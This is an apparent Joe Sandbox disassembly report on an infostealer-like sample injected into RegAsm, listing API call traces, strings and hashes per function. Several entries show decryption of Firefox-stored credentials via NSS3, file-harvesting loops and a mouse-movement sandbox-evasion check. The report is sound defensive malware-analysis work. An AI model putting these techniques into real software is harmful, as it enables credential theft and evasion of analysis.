Function 6C1BAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C2DCF46,?,6C1ACDBD,?,6C2DBF31,?,?,?,?,?,?,?), ref: 6C1BB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C2DCF46,?,6C1ACDBD,?,6C2DBF31), ref: 6C1BB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C2DCF46,?,6C1ACDBD,?,6C2DBF31), ref: 6C1BB0A2
CloseHandle.KERNEL32(?,?,6C2DCF46,?,6C1ACDBD,?,6C2DBF31,?,?,?,?,?,?,?,?,?), ref: 6C1BB100
sqlite3_free.NSS3(?,?,00000002,?,6C2DCF46,?,6C1ACDBD,?,6C2DBF31,?,?,?,?,?,?,?), ref: 6C1BB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C2DCF46,?,6C1ACDBD,?,6C2DBF31), ref: 6C1BB12D

Part of subcall function 6C1A9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C1BC6FD,?,?,?,?,6C20F965,00000000), ref: 6C1A9F0E
Part of subcall function 6C1A9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C20F965,00000000), ref: 6C1A9F5D

Strings

`3l, xrefs: 6C1BB0DF

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `3l
API String ID: 3155957115-726304059
Opcode ID: 10699443756e294b1f59edc6b9c8d8de1e11658ff367dc6e478b33cf90b4ae4b
Instruction ID: 5d42a19ac6d262d6d79ab7291e1029443cd94d49e9061e34c6d05687750c54b4
Opcode Fuzzy Hash: 10699443756e294b1f59edc6b9c8d8de1e11658ff367dc6e478b33cf90b4ae4b
Instruction Fuzzy Hash: EC91EFB0A042058FDB04CF65D884BAFB7B5FF56308F24462DE416A7A50EB35E885CF91

Function 6C250EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C250F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C250FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C251006
PK11_FreeSymKey.NSS3(?), ref: 6C25101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C251033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C25103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C251048
memcpy.VCRUNTIME140(?,?,?), ref: 6C25108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C2510BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C2510D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C25112E

Part of subcall function 6C251570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C2508C4,?,?), ref: 6C2515B8
Part of subcall function 6C251570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C2508C4,?,?), ref: 6C2515C1
Part of subcall function 6C251570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C25162E
Part of subcall function 6C251570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C251637

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 5dcb687eb35ca75ce66262a1d6a4aa97bc88e9bc9fa9999cca85c96512944229
Instruction ID: a2a90fe70f598689e14aec7d5b97967687c07911bab59a8f64f03a70d1c325a5
Opcode Fuzzy Hash: 5dcb687eb35ca75ce66262a1d6a4aa97bc88e9bc9fa9999cca85c96512944229
Instruction Fuzzy Hash: 9D71D2B5A0020A8FDB04CFA9CC84A6BB7B4BF44318F54862CED1997711EB31D9A4CB91

Function 6C276C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C221C6F,00000000,00000004,?,?), ref: 6C276C3F

Part of subcall function 6C2CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C2CC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C221C6F,00000000,00000004,?,?), ref: 6C276C60
PR_ExplodeTime.NSS3(00000000,6C221C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C221C6F,00000000,00000004,?,?), ref: 6C276C94

Strings

gfff, xrefs: 6C276CF5
gfff, xrefs: 6C276D66
gfff, xrefs: 6C276CFD
gfff, xrefs: 6C276D9C
gfff, xrefs: 6C276D30

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 1bf86a3711334e6764b788eaef470a9e6650f58d26d34c7bea2453632d2051b1
Instruction ID: 3d7ebbb04483d69e06db3f718afc64a66f1a9047f5644ca048746786e229b521
Opcode Fuzzy Hash: 1bf86a3711334e6764b788eaef470a9e6650f58d26d34c7bea2453632d2051b1
Instruction Fuzzy Hash: 23514C72B116494FC718CDADDC927DABBDAABA4310F48C23AE842DB781D638D906C751

Function 6C2F0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C2F1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C2F10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C2F1353

Strings

'%.*q', xrefs: 6C2F1217, 6C2F1292
%02x, xrefs: 6C2F12F6
-- , xrefs: 6C2F0FF5
zeroblob(%d), xrefs: 6C2F1223
$, xrefs: 6C2F12A0
NULL, xrefs: 6C2F119E
%lld, xrefs: 6C2F114B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: 70eba7697fa2f2d9b9473e64233f94964466145e7b54199635f3cbf514cf2742
Instruction ID: bcd41b58f8dfa17fffa6254d8be025d0528fedba1bd0b41f96d3ca27b2ebda9a
Opcode Fuzzy Hash: 70eba7697fa2f2d9b9473e64233f94964466145e7b54199635f3cbf514cf2742
Instruction Fuzzy Hash: 66E1BEB1A483499BD300CF18C480A6BFBF1AF85308F94891DFDA587B51D771E88ACB42

Function 0040A7D8 Relevance: 15.1, APIs: 10, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A815
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
_memmove.LIBCMT ref: 0040A8BB
lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC
lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: K11_$Slotlstrcat$AuthenticateBinaryCryptDecryptFreeInternalString_memmove_memsetlstrlen
String ID:
API String ID: 4058207798-0
Opcode ID: a697b237291ad732cff6152e98f2904289e14e348f3c7af2acd105475d3b2c95
Instruction ID: 7253553526a9c866879b9953ce513a4e0df9f59d016b35785d070f4f95aa81eb
Opcode Fuzzy Hash: a697b237291ad732cff6152e98f2904289e14e348f3c7af2acd105475d3b2c95
Instruction Fuzzy Hash: 60315CB2D0421AAFDB10DB64DD849FAB7BCAF08345F5040BAF409E2240E7794A859F66

Function 0040CD37 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040CD5C
FindFirstFileA.KERNEL32(?,?), ref: 0040CD73
StrCmpCA.SHLWAPI(?,004374EC), ref: 0040CD94
StrCmpCA.SHLWAPI(?,004374F0), ref: 0040CDAE

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

lstrlenA.KERNEL32(0040D3B5,00436872,004374F4,?,0043686F), ref: 0040CE41

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

FindNextFileA.KERNEL32(?,?), ref: 0040D23C
FindClose.KERNEL32(?), ref: 0040D250

Strings

%s\*.*, xrefs: 0040CD56

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$CloseCreatelstrcatlstrlen$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitwsprintf
String ID: %s\*.*
API String ID: 833390005-1013718255
Opcode ID: e3119fbe257bcb94e031ea0aba949192674802f0e8d62e16cea99c2e2a5aeac3
Instruction ID: 06796af3159d5870cfde4b437f7530c4b10063cc36196476c106a896cedecc2d
Opcode Fuzzy Hash: e3119fbe257bcb94e031ea0aba949192674802f0e8d62e16cea99c2e2a5aeac3
Instruction Fuzzy Hash: C6D1DA71A4112DABDF20FB25DD46ADD77B5AF44308F4100E6A908B3152DB78AFCA8F94

Function 6C2F8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C2F8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2F90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2F9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2F915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2F91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2F9209

Strings

3333, xrefs: 6C2F925E
UUUU, xrefs: 6C2F9255

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 11a64ac11f0731676c7f2d517ea41a13629a6689e089ecf186bfc160d2b0a494
Instruction ID: c7ca69937b98c7dcb501d4a334d93d9477b36191e5e853b22b0a72c1126fdb0a
Opcode Fuzzy Hash: 11a64ac11f0731676c7f2d517ea41a13629a6689e089ecf186bfc160d2b0a494
Instruction Fuzzy Hash: 53A1CE72E001199BDB04DF68CC90BDEB7B5AF48324F194128ED19A7741EB36EC56CBA1

Function 6C338D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C3814E4,6C2ECC70), ref: 6C338D47
PR_GetCurrentThread.NSS3 ref: 6C338D98

Part of subcall function 6C210F00: PR_GetPageSize.NSS3(6C210936,FFFFE8AE,?,6C1A16B7,00000000,?,6C210936,00000000,?,6C1A204A), ref: 6C210F1B
Part of subcall function 6C210F00: PR_NewLogModule.NSS3(clock,6C210936,FFFFE8AE,?,6C1A16B7,00000000,?,6C210936,00000000,?,6C1A204A), ref: 6C210F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C338E7B
htons.WSOCK32(?), ref: 6C338EDB
PR_GetCurrentThread.NSS3 ref: 6C338F99
PR_GetCurrentThread.NSS3 ref: 6C33910A

Strings

%u.%u.%u.%u, xrefs: 6C338E74

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: e24aa084190c8b4493d51e5393bae41c0b2981b0ca9d1af8ff4a845e504a9273
Instruction ID: c47007eb60ca9cae3379bb1b964282c223023b9cb3507e56f11b7f5bb1abdd3a
Opcode Fuzzy Hash: e24aa084190c8b4493d51e5393bae41c0b2981b0ca9d1af8ff4a845e504a9273
Instruction Fuzzy Hash: BB02BC319052F1CBDB14CF19C4543A6BBB2EF42308F1A925AC8996FB91C736D949CBD1

Function 0040180D Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00401823
SetThreadDesktop.USER32(00000000), ref: 0040182A
GetCursorPos.USER32(?), ref: 0040183A
Sleep.KERNEL32(000003E8), ref: 0040184A
GetCursorPos.USER32(?), ref: 00401859
Sleep.KERNEL32(00002710), ref: 0040186B
Sleep.KERNEL32(000003E8), ref: 00401870
GetCursorPos.USER32(?), ref: 0040187F

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction ID: 6ce610161f310883e20b46de56f80fe1d7998de54b5bc585690095a2dc5f2f67
Opcode Fuzzy Hash: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction Fuzzy Hash: C9112E32E00209EBEB10EBA4CD89AAF77B9AF44301F644877D501B21A0D7789B41CB58

Function 6C1BEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6C1BF0A6, 6C1BF2D5
there is already an index named %s, xrefs: 6C1BF9D7
view, xrefs: 6C1BF061, 6C1BF071, 6C1BFAB7
table, xrefs: 6C1BF05C, 6C1BFABC, 6C1BFAC7
temporary table name must be unqualified, xrefs: 6C1BF734
%s %T already exists, xrefs: 6C1BFAC8
sqlite_master, xrefs: 6C1BF0AB, 6C1BF2DA, 6C1BF757, 6C1BF93E
not authorized, xrefs: 6C1BF957, 6C1BF9BA
authorizer malfunction, xrefs: 6C1BF95C, 6C1BF9BF, 6C1BFA5E, 6C1BFA8B

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 31e459dc660bd6b92daa8d305fadb7000733c3e22697c1bbac2f1a1b01c3ea43
Instruction ID: 3733b9dde73115f0fa572a5b3a5971aeddc178f827029e79a64c92c7bd4b8925
Opcode Fuzzy Hash: 31e459dc660bd6b92daa8d305fadb7000733c3e22697c1bbac2f1a1b01c3ea43
Instruction Fuzzy Hash: EB72B178E042058FDB14CF68C484BA9BBF2BF49308F1581ADD924ABB52D775E856CF90

Function 0040B93F Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,00436826,?,?,?), ref: 0040B99B
StrCmpCA.SHLWAPI(?,0043743C), ref: 0040B9BC
StrCmpCA.SHLWAPI(?,00437440), ref: 0040B9D6

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417621), ref: 00410538

Part of subcall function 00416E97: CreateThread.KERNEL32(00000000,00000000,00416DC6,?,00000000,00000000), ref: 00416F36
Part of subcall function 00416E97: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F3E

FindNextFileA.KERNEL32(?,?), ref: 0040BEF1
FindClose.KERNEL32(?), ref: 0040BF05

Strings

\*.*, xrefs: 0040B965

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
